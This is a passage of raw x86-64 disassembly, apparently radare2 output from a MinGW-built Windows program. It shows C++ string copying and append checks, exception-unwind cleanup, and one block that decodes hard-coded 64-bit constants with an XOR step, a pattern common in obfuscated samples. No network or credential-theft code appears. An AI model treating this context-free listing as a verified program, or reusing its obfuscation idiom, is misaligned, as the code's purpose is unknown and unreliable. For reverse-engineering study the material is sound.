add rdx, rdi
jmp 0x14000ea23
mov r9d, edx
xor eax, eax
and r9d, 0xfffffff8
mov ecx, eax
add eax, 8
mov r8, qword [r14 + rcx]
mov qword [rsi + rcx], r8
cmp eax, r9d
jb 0x14000f94c
mov eax, eax
lea r8, [rsi + rax]
add rax, r14
jmp 0x14000eb4c
mov rsi, qword [rsp + 0x228]
lea rbp, [rsp + 0x290]
mov rdi, qword [rsp + 0x220]
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x240], rsi
cmp rsi, 0xf
ja 0x14000fb68
cmp rsi, 1
jne 0x14000fbb1
movzx eax, byte [rdi]
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x280]
mov rcx, r12
mov qword [rsp + 0x288], rax
mov byte [rdx + rax], 0
call fcn.1400047f0
mov rdx, rbx
mov rcx, r12
call fcn.140006430
mov rcx, r12
call fcn.14000bb00
mov rcx, rbx
call fcn.14000bb00
call fcn.140004740
jmp 0x14000e489
mov qword [rsp + 0x20], rdx
xor r8d, r8d
xor edx, edx
mov rcx, r14
call fcn.14000baf8
jmp 0x14000f48a
movabs rax, 0x1981be3405cb2f4c
lea rdi, [r13 + 0x20]
movabs rdx, 0x75e8df7225960217
mov qword [r13 + 0x20], rax
movabs rax, 0x12b0b7d460058df9
mov qword [r13], rdx
movabs rdx, 0x76d397bb1425e99c
mov qword [r13 + 0x28], rax
movabs rax, 0x84bfdf5852e27c03
mov qword [r13 + 8], rdx
movabs rdx, 0x84bfdf5852e27c09
mov qword [r13 + 0x30], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [r13 + 0x10], rdx
mov qword [r13 + 0x38], rax
vmovdqa ymm4, ymmword [r13 + 0x20]
mov qword [r13 + 0x18], rax
vpxor ymm0, ymm4, ymmword [r13]
vmovdqa ymmword [r13 + 0x20], ymm0
jmp 0x14000eeee
mov qword [rsp + 0x1a0], rdx
vmovdqu xmmword [rsp + 0x1a8], xmm0
mov qword [rsp + 0x280], rbp
lea rbp, [rsp + 0x290]
mov rax, rbp
jmp 0x14000e954
cmp rax, 0xf
jbe 0x14000f469
mov rdi, qword [rsp + 0x118]
cmp rcx, rdi
jne 0x14000f458
jmp 0x14000f469
add ecx, 1
mov rdi, rbp
mov rsi, r8
rep movsb byte [rdi], byte [rsi]
jmp 0x14000f3f5
add ecx, 1
mov rdi, r14
mov rsi, r8
rep movsb byte [rdi], byte [rsi]
jmp 0x14000f4c2
vmovq rax, xmm0
test rax, rax
je 0x14000fb2e
sub rax, 1
je 0x14000fbbf
vmovq r8, xmm0
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, qword [rsp + 0x1a0]
vmovq xmm0, qword [rsp + 0x288]
vmovq qword [rsp + 0x1a8], xmm0
vmovq rax, xmm0
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x280]
jmp 0x14000e954
mov rcx, r14
jmp 0x14000f7be
mov rcx, r14
jmp 0x14000f76e
mov r10d, 0xf
jmp 0x14000f460
xor r8d, r8d
mov rdx, r12
mov rcx, rbx
call fcn.14000bad0
mov qword [rsp + 0x280], rax
mov rcx, rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x290], rax
mov r8, rsi
mov rdx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
jmp 0x14000f9b2
mov rax, qword [rsp + 0xe8]
vzeroupper
jmp 0x14000f819
test rsi, rsi
je 0x14000f9b2
mov rcx, rbp
jmp 0x14000fb91
movzx eax, byte [rsp + 0x290]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1a0]
vmovq xmm0, qword [rsp + 0x288]
jmp 0x14000fb2e
mov edx, dword [r13]
mov esi, esi
mov dword [rax], edx
mov edx, dword [r13 + rsi - 4]
mov dword [rax + rsi - 4], edx
jmp 0x14000f862
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string:_construction_from_null_is_not_valid
call fcn.14000ba50
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string:_construction_from_null_is_not_valid
call fcn.14000ba50
mov rbx, rax
vzeroupper
jmp 0x140010ba0
mov rcx, qword [rsp + 0x138]
call fcn.14000bb00
lea rcx, [rsp + 0x1c0]
call fcn.14000bb00
lea rcx, [rsp + 0x1a0]
call fcn.14000bb00
lea rcx, [rsp + 0x180]
call fcn.14000bb00
mov rcx, rbx
call sub.libgcc_s_seh_1.dll__Unwind_Resume
mov rcx, r12
vzeroupper
call fcn.14000bb00
mov rcx, rbx
call fcn.14000bb00
mov rcx, r14
call fcn.14000bb00
mov rcx, rsi
call sub.libgcc_s_seh_1.dll__Unwind_Resume
mov rcx, rbx
vzeroupper
mov rbx, rsi
call fcn.14000bb00
cmp qword [rsp + 0x148], 0
je 0x140010b93
call fcn.14000ba28
mov rcx, rbx
vzeroupper
call fcn.14000bb00
mov eax, 1
xor rax, 1
mov rdi, rax
shl rdi, 6
add rdi, rbx
cmp rdi, rbx
jne 0x140010c59
mov rbx, rsi
mov rcx, qword [rsp + 0x120]
call fcn.14000e2c0
jmp 0x140010c00
sub rdi, 0x40
lea rcx, [rdi + 0x20]
call fcn.14000bb00
mov rcx, rdi
call fcn.14000bb00
jmp 0x140010c2e